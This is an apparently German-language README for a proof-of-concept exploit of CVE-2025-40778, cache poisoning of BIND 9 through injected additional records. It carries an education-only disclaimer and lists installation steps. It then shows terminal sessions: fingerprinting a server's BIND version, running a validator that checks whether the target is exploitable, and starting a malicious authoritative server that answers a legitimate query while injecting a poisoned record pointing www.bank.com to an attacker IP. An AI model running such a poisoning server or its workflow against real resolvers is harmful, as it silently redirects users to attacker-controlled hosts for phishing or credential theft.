
Proof-of-Concept, das DNS-Cache-Poisoning durch die Injektion zusätzlicher Records in BIND 9 demonstriert, mit Werkzeugen zur Validierung und Ausnutzung von CVE-2025-40778 für autorisierte Sicherheitstests.
Pädagogische Demonstration der DNS-Cache-Poisoning-Schwachstelle durch Injektion zusätzlicher Records.
NUR FÜR BILDUNGSZWECKE
Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Die unbefugte Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal und unethisch.
Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Dieser PoC demonstriert, wie ein kompromittierter autoritativer DNS-Server vergiftete Records in DNS-Antworten injizieren kann, wodurch Benutzer möglicherweise ohne ihr Wissen auf bösartige Server umgeleitet werden.
Angriffsvektor:
Mögliche Szenarien:
👤 Autor & Kontakt
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Dieses Tool erkennt, ob es möglich ist, die Schwachstelle CVE-2025-40778 auszunutzen
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Beschreibung: In diesem Schritt starten Sie den bösartigen autoritativen DNS-Server, der einen kompromittierten Nameserver simuliert. Der Server lauscht auf einer bestimmten IP und einem bestimmten Port (127.0.0.2:5301) und ist bereit, vergiftete DNS-Records in Antworten zu injizieren. Nach der Konfiguration antwortet er auf legitime Abfragen für www.test.local mit der korrekten IP-Adresse, injiziert aber gleichzeitig einen bösartigen Record für www.bank.com, der auf eine vom Angreifer kontrollierte IP verweist. Dieses Doppelantwort-Verhalten ist der Kern des Cache-Poisoning-Angriffs – der anfällige DNS-Resolver speichert sowohl die legitime Antwort als auch den vergifteten Record zwischen, obwohl nur eine Domain angefragt wurde.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Beschreibung: Hier führen Sie eine Standard-DNS-Abfrage über Ihren lokalen Resolver (BIND) durch, um zu überprüfen, ob die Infrastruktur korrekt funktioniert. Die Abfrage für www.test.local sollte wie erwartet die legitime IP-Adresse (192.168.0.136) zurückgeben. Zu diesem Zeitpunkt erscheint die Antwort für den Endbenutzer normal – es gibt keine sichtbaren Anzeichen einer Kompromittierung. Hinter den Kulissen hat der anfällige DNS-Resolver jedoch bereits beide Records zwischengespeichert: den legitimen, den Sie angefragt haben, UND den vergifteten Record für www.bank.com, der im zusätzlichen Abschnitt der Antwort injiziert wurde. Dieser Schritt bestätigt, dass Ihr DNS-Resolver erfolgreich mit dem bösartigen autoritativen Server kommuniziert und dessen Antwort verarbeitet hat.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87